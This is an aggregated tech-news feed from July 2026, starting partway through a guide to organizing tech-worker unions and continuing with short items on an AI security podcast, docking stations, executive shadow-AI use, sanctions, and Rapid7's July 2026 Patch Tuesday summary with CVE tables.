Just get a consensus and start building a group of like-minded individuals, Thompson advises. “Always start with one-on-one conversations, and that’s what you should do the whole time. That’s the key to organizing,” he says.



Tech workers often think they’re a special case, says Thompson, and therefore that unionization isn’t a good fit. “You’re not special. You are a company of workers, you are organizing, and there is a playbook for that. Trust the process, because it tends to work pretty well,” he says.



Step 2: Who’s on board, and who’s not? Map your workplace, but keep it quiet



Once there’s a consensus, continue to grow your network. Keep a list of everyone you’ve spoken with and note their disposition: “Is this person union-friendly or anti-union? Would they be a strong organizer?” Thompson says.



Maintaining secrecy early on is essential, because anti-union tactics will start immediately, and that can stop union organizing before it can gain momentum.



“Generally, employers do not want to share power with their workforce,” McAvinney says. Employers will deploy every means at their disposal to stop organizing efforts and peel away potential yes votes.


 width="1024" height="839" sizes="auto, (max-width: 1024px) 100vw, 1024px">Alan McAvinney from Alphabet Workers Union-CWA

Aran Per Ink



“If you look at historical examples, having 70% approval before the employer finds out about you results in a high percentage of wins when you actually cast the vote. Historically, that’s an effective buffer,” he says.



There’s a real threat of firing and layoffs. The traditional tech worker belief that job mobility makes collective action unnecessary is now being tested by a tighter job market, McAvinney says, noting that workers who many believe were fired for speaking out back in 2019 were a galvanizing factor in his union’s formation.



“You generally don’t want to be in a situation where the employer feels comfortable firing everyone. Part of that is thinking from a cynical standpoint about what the consequences would be to the employer if they did fire everyone,” he says.



One-on-one conversations that include personally asking co-workers to keep conversations confidential are key to keeping things quiet, Belasco says. When 2,100 UC tech workers voted to unionize in May, 96% voted in favor. To stay out of earshot of managers, avoid employee surveillance tools, and sidestep conference calls that could be recorded, organizers met with workers in their homes.



“That tactic is probably what made the difference between winning the election and getting the majority we got,” he says.



Step 3: Find the right union affiliation or go it alone



“Running a campaign against major employers requires the resources and expertise of the larger labor movement, even if workers publicly present as independent,” says Kate Bronfenbrenner, director of labor education research and senior lecturer emeritus at Cornell University’s School of Industrial and Labor Relations.



Options include the Communications Workers of America (CWA), Service Employees International Union (SEIU), and the Office and Professional Employees International Union (OPEIU), among others. Another resource, the Tech Workers Coalition (TWC), provides training on organizing tactics, AI-in-workplace issues, and contract negotiation, and can match workers to the right unions for their needs.



The Alphabet Workers Union decided early on to affiliate with CWA. “They gave us a bunch of support early on in our campaign with no strings attached,” McAvinney says.



Kickstarter is organized through OPEIU, Thompson says. “They’ll usually have resources and staff that can help you through the next steps: collecting signatures in support of a union, bringing that to management, holding a vote — the more formalized things that interact with US labor law. They’ll also help with organizing along the way,” he says.



For workers at institutions where a union already exists, there may be a faster path. Organizers at UCLA did what’s called a “unit modification,” aligning with UPTE. By organizing under UPTE, the workers didn’t have to negotiate a new contract from scratch — they joined an already-negotiated contract covering existing UPTE tech members, which put them in “a much stronger position” than starting fresh, Belasco says.



Step 4: Choose your union model: majority vs. pre-majority or minority



Assess what’s practical for your organizing effort. In a majority union, more than 50% of all workers in a defined bargaining unit must vote to join the union through an NLRB-supervised election in the private sector, or a Public Employment Relations Board (PERB)-supervised election for public sector workers.



The NLRB must certify the union, which then operates under its legal protections. This means, for example, that the employer must bargain, negotiated contracts are enforceable, violations must go to the NLRB or arbitration, and workers can’t be dismissed without just cause.



A pre-majority or minority union is a minority labor organization operating without NLRB protections or collective bargaining agreements. “Pre-majority means that workers are able to demonstrate majority support — through signed cards, petitions, a walkout, or everyone wearing solidarity T-shirts — without going through a formal election,” Bronfenbrenner says.


 width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px">Kate Bronfenbrenner from the School of Industrial and Labor Relations, Cornell University

ILR School/Cornell University



The Alphabet Workers Union-CWA (AWU-CWA) formed as a pre-majority union because achieving majority status across a globally distributed workforce of over 100,000 was not a realistic near-term goal. “An underground model where you try to reach 70% support across a workforce of over 100,000 people isn’t realistic,” McAvinney says.



A pre-majority union can still make a difference, he says. For example, the Alphabet Workers Union-CWA convinced management to offer voluntary exit packages — buyouts — prior to announcing layoffs.



For smaller organizations, a majority union may be the more practical option — it’s more attainable, McAvinney says. “I don’t think [the pre-majority union model] is the correct thing to do in all situations. I certainly would not recommend it to a 200-person shop.”



Kickstarter, which had fewer than 100 employees, was able to form a majority union, with 55% voting to organize.



Ultimately, says McAvinney, “there’s no inflection point where you go from being able to win nothing to winning everything, even with a contract and a supermajority. But the more people you have who are willing and able to fight for what they want, the more you’ll be able to get.”



Step 5: Who should — and should not — be in your union?



Belasco’s situation at UCLA illustrates a broader strategic choice that every organizing campaign must make. He had been in a union position in educational technology when he was told his role would be reclassified as a non-union position.



“I was given a choice: apply to the new non-union position to continue doing the work I’d trained for, or stay in my union position doing service desk work I wasn’t used to,” he says. “Essentially, it was a choice between job security and career progression.”



Belasco joined a “wall-to-wall” union, which represents a broad range of university professional and technical employees across the UC system rather than a single job category, such as engineers or tech professionals.



Kickstarter United is another example of a wall-to-wall union. “It’s not just the engineers who are unionized, but also customer support, designers — everyone,” Thompson says.



Wall-to-wall unions are more powerful, but they’re also more difficult to achieve. Under US labor law, “professionals have to vote separately on whether they want to be combined with other workers,” says Bronfenbrenner. “You can never have a wall-to-wall unit without giving professionals the chance to decide whether they want to be separate.”



The law’s “professional employees” category includes roles like software engineers and developers but not necessarily others. For example, customer support specialists and QA analysts would fall into the “non-professional workers” category.



“For decades, the pattern was either to organize everybody except the engineers, or manage to organize the engineers and fail to bring in everybody else — neither of which builds real worker power,” says Simone Robutti, an organizer with Tech Workers Coalition Global, an international branch of TWC based in Berlin.


 width="959" height="713" sizes="auto, (max-width: 959px) 100vw, 959px">Simone Robutti from Tech Workers Coalition Global

TWC



Step 6: You won the vote. Get ready for what comes next



Winning a union vote means having a seat at the table, says Thompson. “Once the workers have come together and agreed they want that seat, you bring that to management, and they have a chance to voluntarily recognize a union,” he says.



But in most cases employers contest the results, which must be certified by the NLRB or PERB. That process, in which the employer uses various tactics to challenge the legitimacy of the outcome, can take weeks or months.



Unfortunately, the legal framework that is supposed to protect workers during this process has been significantly weakened in the last few years. In a potentially more ominous development, SpaceX, Amazon, Trader Joe’s, Starbucks, and the University of Southern California have in separate legal actions challenged the constitutionality of the NLRB, arguing that the agency’s structure violates the separation of powers. The Fifth Circuit Court of Appeals upheld injunctions against the NLRB in SpaceX’s case in August 2025 — a serious challenge to the agency’s authority.



In the meantime, some companies may disregard negotiated contracts, which can lead to lengthy legal appeals or extended arbitration.



“The NLRB can still force an election, but it can’t force a contract, and companies are saying they simply won’t comply,” Bronfenbrenner says. This is where the expertise and resources of affiliation with a major union can help, she adds.



As a result, contract negotiations can take far longer than workers might expect. At Kickstarter, for example, two years and four months elapsed from the time of the union vote to the first contract, and that was at a 59-person company with a relatively cooperative employer. At larger companies with more aggressive legal teams, the timeline will be longer.



Forming a union is hard work, Robutti says. “It’s not a service you pay for and they protect you. It doesn’t happen spontaneously, and it doesn’t happen magically. It’s the choice to take responsibility for improving your workplace.”



GLM-5.2: The real security risk? Plus: Vibe hunting, the end of CVSS and updates on Lightwell
Wed, 15 Jul 2026 12:18:07 +0200
Author: IBM Technology - Bewertung: 13x - Views:134 
Explore the podcast → https://ibm.biz/~UaTgKXYP5



Z.ai’s GLM-5.2 is, according to some, as good at finding vulnerabilities as Mythos. Or at least, close to it. And it’s open weight.



On this episode of Security Intelligence, we dig into how powerful, open AI models are bringing frontier-style capabilities to more people, all while the proprietary models are emphasizing safeguards. What does it mean for cybersecurity pros? Security emergency, or a whole lot of hype?



Then, we explore how CISA’s new BOD 26-04 ditches the old CVSS scoring system for a four-variable model that could reshape how every security team prioritizes vulnerabilities. We also unpack “vibe hunting,” the AI-assisted evolution of threat hunting, and break down the commercial launch of Red Hat and IBM’s Lightwell.

Securing open-source software in the AI era requires new approaches. 

Learn how Lightwell does it: https://ibm.biz/~fJaPqPXz3





Segments:

00:00 – Intro

01:13 - GLM-5.2 

10:26 - The end of CVSS? 

19:25 - Vibe hunting 

28:01 - Lightwell’s commercial launch



The opinions expressed in this podcast are solely those of the participants and do not necessarily reflect the views of IBM or any other organization or entity.



AI news moves fast. Sign up for a monthly newsletter for AI updates from IBM → https://ibm.biz/~t8bvtICbL

#aisecurity #opensourcesecurity #cvss



Brydge Expands ProDock Family With Three New Vertical Docking Stations
Wed, 15 Jul 2026 12:10:02 +0200
Brydge just dropped some fresh hardware for anyone looking to organize a messy desk. The accessory maker added three new vertical docking stations to its lineup to give users more options to connect their computers to external monitors and accessories. The brand new ProDock Solo, ProDock Duo, and ProDock Trio are built to keep your laptop standing upright while massively expanding its connectivity without taking up much room.



Three different choices offer varying power and display support



The entry-level ProDock Solo costs $229 and connects via standard USB-C. It delivers 90 watts of charging power and supports a single 4K display. It features seven extra ports, making it perfect for basic setups. If you need more speed, the $399 ProDock Duo uses Thunderbolt 4 technology. It bumps the connectivity up to 10 ports while supporting dual 4K monitors and keeping the same 90-watt charging speed.



The highest tier option is the $459 ProDock Trio. This powerhouse features a massive 80 gigabits per second connection and supports three 4K displays at a super smooth 144Hz refresh rate. It delivers up to 140 watts of charging power and includes 11 ports to handle almost any accessory you want to plug in.



The docks are built specifically for modern Apple laptops



These new stations are designed to perfectly fit recent Apple machines. Both the Solo and the Duo work well with the MacBook Pro and MacBook Air. The massive ProDock Trio is built exclusively for the more demanding MacBook Pro lineup. Each dock features a sleek aluminum body that naturally blends in with the exact look of a modern Mac.



The vertical design does more than just look good on a desk. By holding the laptop straight up, the dock saves a massive amount of physical space in your work area. You can leave all your messy cables plugged directly into the back of the station at all times. When you sit down, you simply slide the computer down into the sleeve to instantly connect to your entire desktop setup.


Senior executives abuse shadow AI twice as much as regular employees do
Wed, 15 Jul 2026 11:08:45 +0200

		
					  
						




Shadow IT has long been a major problem for IT leaders, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.



Nearly two-thirds of senior decision-makers admit to using unapproved AI tools, compared to just 31% of lower-level employees, according to a survey by Microsoft solutions partner TrustedTech.



The use of shadow AI is prevalent among senior executives even though three in four employees acknowledge security or data privacy risks related to the practice.



“Most shadow AI users are not ignorant of the risk,” TrustedTech says in a white paper. “They are deliberately choosing to use these tools anyway. This is not a training issue. It is a culture, incentives, and alternatives issue.”



In many cases, the problem is driven by a lack of approved tools, the report adds.



“People use shadow AI because what their employer hands them is worse than mainstream AI tools, or because nothing has been approved in the first place,” the report says. “That doesn’t change until the sanctioned tools are genuinely worth using.”



A question of authority



The use of shadow AI by CEOs and other C-suite executives can create major problems for CIOs, CISOs, and other IT executives because they may not have the authority to put the kibosh on it.



It also presents a challenge for IT leaders to provide the AI tools that employees and executives want to use.



When executives use shadow AI, CIOs are in a difficult position, because governance only works when it’s modeled from the top, says Andy Nolan, VP of technology at TrustedTech.



“If senior leaders bypass approved AI tools or policies, it sends an implied message that speed matters more than security and compliance,” he adds. “Employees notice that behavior, and it becomes much harder to ask the rest of the organization to follow standards that leadership isn’t following themselves, first.”



Another major problem is that executives often work with highly sensitive information, including financial data, strategic plans, intellectual property, and customer information, he notes.



But CIOs and CISOs also can’t solve the problem by becoming the AI police in every situation, Nolan says, because their role is to help the business innovate safely.



“That requires executive alignment, clear governance, and providing secure AI tools that people actually want to use,” he adds. “When leadership embraces those solutions, the rest of the organization is almost sure to follow.”



All risk, no reward



The use of shadow AI by senior executives puts CIOs and CISOs in an impossible position, agrees Amit Maloo, CISO at AI procurement provider Ivalua. CIOs and CISOs are held accountable for the risk exposure but have no visibility into the problem, he says.



“When senior leaders use ungoverned AI tools for business decisions, those decisions still have consequences, such as financial commitments, contract reviews, and data sharing,” he adds. “But there is no audit trail, no permissions model, or no way to reconstruct what happened or why.”



Part of the problem is that approved AI options often don’t meet the needs of users, Maloo says.



“AI policies alone aren’t enough; organizations need to pair governance with usability,” he adds. “If approved AI tools don’t meet the pace of business, employees at every level, including leadership, will find their own solutions. Successful organizations will be those that make the secure path the easiest path.”



IT leaders can’t solve the problem with more governance, he notes. “Policies and restrictions slow shadow AI down, but they don’t stop it, especially when the people using it are senior enough to absorb the disciplinary risk,” Maloo adds. “What CIOs can do is focus on providing tools that grant users full access to the necessary systems and data, eliminating the need to choose between a capable but ungoverned tool and a safe but limited one.”



Speed over security



The TrustedTech data echoes a June report from employee monitoring software vendor Teramind, which found that more than two-thirds of C-level executives prioritize speed over security when using AI tools, notes Nik Kale, a principal engineer and product architect at Cisco, and member of the Coalition for Secure AI.



In addition, the Teramind report found that two-thirds of enterprise AI activity runs through personal accounts on platforms for which the company already owns licenses, he notes.



“People are paying for the governed version and using the ungoverned version of the same product, so the problem isn’t the tools,” he says. “The approved path is slower, buried in procurement, or disconnected from where the work actually happens, and speed wins every time under a deadline.”



The problem then isn’t with the AI tools, but with the friction involved, he says. “People aren’t going around the front door because the room is locked,” Kale adds. “They’re going around it because the front door is slower.”



In many cases, the use of shadow AI exposes a couple of shortcomings in enterprise processes, adds Matthew Scavetta, chief technology innovation officer at IT solutions provider Future Tech Enterprise.



Many organizations don’t do a good job of making employees aware of the AI tools available to them, he says, and many organizations don’t offer training on the sanctioned applications, which drives users to pick products they are familiar with.



“If you don’t solve problems for people quickly or make people aware of which tools they can use safely, they will find a workaround,” he adds. “AI tools are no different than anything else.”



Shadow AI use by executives puts IT leaders in an incredibly difficult position, he says.



“CIOs, in particular, are under more and more pressure each year to keep up with what’s possible as tech influencers keep preaching about the potential of these tools,” Scavetta says. “CEOs and board members are constantly getting swept up in the hype; meanwhile, there are more and more case studies coming out showing how little ROI some organizations have realized. It’s a never-ending game of balancing possible with practical.”



Download der Woche: Beszel
Wed, 15 Jul 2026 10:30:25 +0200
Download der Woche: Beszel

      
      
        
          
            
                



            
          
        
              
    
  Lars Nitsch
Mi., 15.07.2026 - 07:00


            Den Zustand von Servern und Containern im Blick zu behalten, muss nicht zwangsläufig eine umfangreiche Monitoring-Infrastruktur mit Prometheus und Grafana erfordern. Beszel verfolgt einen schlankeren Ansatz: Die Open-Source-Software überwacht Systeme und Docker-Container über eine moderne Weboberfläche und lässt sich mit geringem Aufwand selbst hosten.
      
    
          Tipps & Tools
      
  
    Weiterlesen über Download der Woche: Beszel
  


622 Lücken auf einen Schlag: Rekord-Patchday bei Microsoft
Wed, 15 Jul 2026 10:30:24 +0200
622 Lücken auf einen Schlag: Rekord-Patchday bei Microsoft

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Mi., 15.07.2026 - 10:00


            Mit über 600 geschlossenen Schwachstellen bricht der Juli-Patchday 2026 alle bisherigen Rekorde. Zwei Sicherheitslücken werden bereits aktiv angegriffen, eine davon steckt in zentraler Identitätsinfrastruktur. Auch Adobe legt mit 88 CVEs nach.
      
    
          News
      
  
    Weiterlesen über 622 Lücken auf einen Schlag: Rekord-Patchday bei Microsoft
  


Mova SureTrack Pro: GPS-Tracker für euer Haustier
Wed, 15 Jul 2026 07:08:13 +0200
Wer ein Haustier besitzt, das regelmäßig im Freien unterwegs ist, wird mit der Sorge vertraut sein, das Tier könne irgendwann einmal den Weg nach Hause nicht mehr finden. Das Unternehmen Mova möchte dieser Sorge ein Ende bereiten und hat dafür den Mova SureTrack Pro entwickelt. Dabei handelt es sich um einen GPS-Tracker, der am Halsband […]
Der Beitrag Mova SureTrack Pro: GPS-Tracker für euer Haustier erschien zuerst auf appgefahren.de.


U.S. Treasury Sanctions VPN Provider and Cryptor Seller Behind Billions in Ransomware Losses
Wed, 15 Jul 2026 00:23:57 +0200
U.S. sanctions hit VPN provider 1VPNS and a cryptor seller for enabling ransomware gangs behind billions in losses to critical infrastructure. The U.S. Treasury’s Office of Foreign Assets Control sanctioned two individuals and one entity on July 13 for supplying…
Read more →
The post U.S. Treasury Sanctions VPN Provider and Cryptor Seller Behind Billions in Ransomware Losses appeared first on IT Security News.


Patch Tuesday - July 2026
Wed, 15 Jul 2026 00:23:40 +0200
Microsoft is publishing 622 vulnerabilities on July 2026 Patch Tuesday, including a record-breaking 416 Windows vulnerabilities. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today, both of which are listed on CISA KEV, as well as public disclosure for one other. As usual, browser vulns are not included in the Patch Tuesday count above. Rapid7 noted last month that Microsoft no longer enumerates Chromium CVEs in the Security Update Guide. However, Microsoft has now taken the pursuit of minimalism much further, since today’s Security Update Guide no longer lists out even Microsoft vulnerabilities! Instead, we now receive a summary table of vulnerability counts by product family, as well as a new slimline “Notable CVEs” section. All of this only serves to illustrate the recent industry-wide trend of exploding vulnerability report counts, with an associated uptick in the publication of remediations as a trailing indicator.
SharePoint: critical auth bypass by Rapid7
Today sees the publication of CVE-2026-55040, a critical authentication bypass in Microsoft SharePoint. Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer, and published today in coordination with Microsoft, this vulnerability is the first in a pair of exploits which, when chained together, can lead to unauthenticated remote code execution against a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. As the full Rapid7 blog post sets out, the second vulnerability in the full RCE chain remains embargoed for now, with Microsoft expected to publish patches for that second vulnerability as part of Patch Tuesday August 2026. Microsoft noted: “We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”
SharePoint: zero-day EoP
It’s a rare Patch Tuesday which doesn’t include multiple SharePoint fixes, and today is no exception. Microsoft is aware of existing in-the-wild exploitation of CVE-2026-56164, where successful exploitation allows an attacker to elevate privileges over a network, with no existing privileges required, and low attack complexity since “an attacker does not require significant prior knowledge of the system, and can achieve repeatable success”. This is as good an example as any that a relatively low CVSS v3 base score (5.3) may be an imperfect signal concealing something much spicier, and Microsoft acknowledges that possibility by assigning a severity rating of Important. Microsoft certainly intended to list CVE-2026-56164 in the new Notable CVEs section of the Security Update Guide instead of erroneously listing CVE-2026-56155 twice, and it’s likely that this will be corrected shortly.
What’s the opposite of coordinated disclosure?
After years of relative stability, the Patch Tuesday process has experienced significant turbulence so far in 2026. As well as the AI-fuelled exponential growth of vulnerability reporting and discovery, Microsoft is grappling with the emergence of a series of vulnerabilities disclosed in such a way as to bring maximum discomfort for Redmond. Pseudonymous researcher Nightmare Eclipse dropped another Defender elevation of privilege vulnerability in the hours following Patch Tuesday June 2026, which Microsoft subsequently published and patched as CVE-2026-50656, along with a terse acknowledgement of the vulnerability’s celebrity nickname of RoguePlanet. Recently, Nightmare Eclipse has given conflicting estimates of what sort of surprises Microsoft can expect today, as well as claiming that the CVE-2026-50656 patches introduce a new avenue for a disk exhaustion attack. Today,  a new proof of concept for a further vulnerability nicknamed LegacyHive has emerged from the same source, which appears to allow a non-privileged user to mount another user’s user hive.
Microsoft BitLocker receives patches today for a publicly-known security feature bypass vulnerability. The advisory for CVE-2026-50661 explains that an unauthorized attacker with physical access to the target machine can bypass Windows BitLocker. While Microsoft doesn’t confirm either way, it’s very probable that this is a patch for the GreatXML vulnerability which Nightmare Eclipse announced the day after Patch Tuesday June 2026.
Active Directory Federation Services: zero-day EoP
Active Directory administrators should note the emergence today of CVE-2026-56155, an exploited-in-the-wild elevation of privilege vulnerability in Active Directory Federation Services which allows an authorized attacker to elevate privileges locally. Eight other vulnerabilities are also published today in Active Directory Federation Services, all ranked as Important on Microsoft’s proprietary severity ranking scale. The advisory doesn’t explicitly describe the location of the attacker, but it’s likely that an attacker would need an existing toehold on the target system to chain together with the elevation of privilege opportunity on offer here.
Age of Empires II: RCE
Historically, Patch Tuesday hasn’t seen too many security patches for video games. However, Age of Empires II: Definitive Edition is a new entrant to the Microsoft CVE roster today. Veteran AoE2 players may well be familiar with dangerous opposition early game strategies such as the Persian Town Center nuisance or the Aztec monk rush, but anyone who opens a malicious game scenario file without applying the patch for CVE-2026-50663 might suffer a serious defeat. Successful exploitation allows an attacker to place malicious files in unexpected locations, potentially enabling code execution on the target system.
Microsoft lifecycle update
As Rapid7 noted last month, there are some significant Microsoft product lifecycle changes taking place in mid-July. SQL Server 2016 moves beyond regular extended support and into the pay-to-play Extended Security Updates (ESU) phase from July 15, 2026, and its older sibling SQL Server 2014 moves into the third and final year of ESU. Also on July 14, 2026, SharePoint Server 2016 and 2019 reach extended end date, and since there’s no ESU available, the only remaining option for fully-supported self-hosted SharePoint after today is SharePoint Subscription Edition. The July 2026 lifecycle casualties continue with Project Server 2016 and 2019, Dynamics GP 2016 and 2016 R2, InfoPath 2013, and SharePoint Designer 2013, which also all reach their Extended End Dates, ending their supported lifecycles. Visual Studio 2022 Version 17.12 Long-Term Servicing Channel (LTSC) reaches its release end date on July 14, leaving either the Visual Studio 2022 current channel or an upgrade to Visual Studio 2026 as supported options.
Summary charts
Summary tables
Apps vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-58617 M365 Copilot for iOS Elevation of Privilege Vulnerability Exploitation Less Likely No 8.1
CVE-2026-58595 Microsoft Bing App for IOS Spoofing Vulnerability Exploitation Less Likely No 8.1
CVE-2026-48561 Microsoft Copilot Remote Code Execution Vulnerability Exploitation Less Likely No 9.6
CVE-2026-58636 Microsoft PC Manager Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50438 Microsoft PC Manager Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-54124 Windows Terminal Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
Azure vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-50652 Azure Active Directory Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50653 Azure Active Directory Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-57969 Azure CycleCloud Elevation of Privilege Vulnerability N/A No 8.8
CVE-2026-58279 Azure CycleCloud Elevation of Privilege Vulnerability Exploitation Less Likely No 6.5
CVE-2026-47632 Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50338 Azure Spring Apps Elevation of Privilege Vulnerability Exploitation Less Likely No 8.2
Developer Tools vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-47302 .NET Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50525 .NET Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50651 .NET Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-57108 .NET Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50524 .NET Framework Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50527 .NET Framework Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50648 .NET Framework Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50650 .NET Framework Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50646 .NET Framework Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50649 .NET Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-47304 .NET Security Feature Bypass Vulnerability Exploitation Less Likely No 8.1
CVE-2026-50528 .NET Security Feature Bypass Vulnerability Exploitation Less Likely No 8.2
CVE-2026-50659 .NET Spoofing Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50526 .NET Tampering Vulnerability Exploitation Less Likely No 7.0
CVE-2026-56170 ASP.NET Core Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-47300 ASP.NET Core Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-47303 ASP.NET Core Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-47282 GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-41109 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50506 OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-45646 OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50520 Visual Studio Code Remote Code Execution Vulnerability Exploitation Less Likely No 8.4
CVE-2026-45496 Visual Studio Code Security Feature Bypass Vulnerability Exploitation Less Likely No 5.5
CVE-2026-57101 Visual Studio Code Security Feature Bypass Vulnerability Exploitation Less Likely No 7.1
CVE-2026-57102 Visual Studio Code Security Feature Bypass Vulnerability Exploitation Unlikely No 8.8
CVE-2026-47305 Visual Studio Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
Device vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-48581 Surface Broker SDMA Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
ESU vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-54121 Active Directory Certificate Services Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50682 Active Directory Denial of Service Vulnerability Exploitation Unlikely No 7.1
CVE-2026-50647 Active Directory Federation Server Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50684 Active Directory Federation Server Spoofing Vulnerability N/A No 4.8
CVE-2026-56155 Active Directory Federation Services Elevation of Privilege Vulnerability Exploitation Detected No 7.8
CVE-2026-50491 Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50381 Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50427 Content Delivery Manager Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50692 Desktop Window Manager Elevation of Privilege Vulnerability N/A No 8.8
CVE-2026-48564 DHCP Server Service Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50370 DHCP Server Service Remote Code Execution Vulnerability Exploitation More Likely No 8.8
CVE-2026-56159 DHCP Server Service Remote Code Execution Vulnerability Exploitation Unlikely No 9.8
CVE-2026-50296 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50375 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 6.3
CVE-2026-50493 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56643 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56644 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58629 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50382 DirectX Graphics Kernel Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-49174 DNS Client Tampering Vulnerability Exploitation Unlikely No 6.1
CVE-2026-50495 DNS Client Tampering Vulnerability Exploitation Less Likely No 6.1
CVE-2026-49787 HTTP.sys Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-49788 HTTP/2 Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50696 Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50329 Microsoft DWM Core Library Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-58541 Microsoft DWM Core Library Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55006 Microsoft Exchange Server Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55009 Microsoft Exchange Server Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-55005 Microsoft Exchange Server Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-55008 Microsoft Exchange Server Spoofing Vulnerability Exploitation More Likely No 9.6
CVE-2026-50343 Microsoft Install Service Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-54992 Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability Exploitation More Likely No 8.4
CVE-2026-50439 Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability Exploitation Less Likely No 8.1
CVE-2026-42900 Microsoft Windows App Store Elevation of Privilege Vulnerability Exploitation Unlikely No 8.1
CVE-2026-49784 Microsoft Windows App Store Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50356 Microsoft Windows App Store Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-49165 Microsoft Windows App Store Information Disclosure Vulnerability Exploitation Less Likely No 7.1
CVE-2026-54993 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58610 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50655 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation More Likely No 7.8
CVE-2026-56189 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-57090 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-57094 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-57087 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-57092 Microsoft Windows VMSwitch Elevation of Privilege Vulnerability Exploitation Less Likely No 9.9
CVE-2026-50359 Microsoft XML Core Services Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-57097 Microsoft XML Security Feature Bypass Vulnerability Exploitation Less Likely No 6.4
CVE-2026-50346 Netlogon RPC Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50402 NTFS Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-54989 Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50365 Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability Exploitation Less Likely No 8.0
CVE-2026-50474 Remote Desktop Client Remote Code Execution Vulnerability Exploitation Unlikely No 8.8
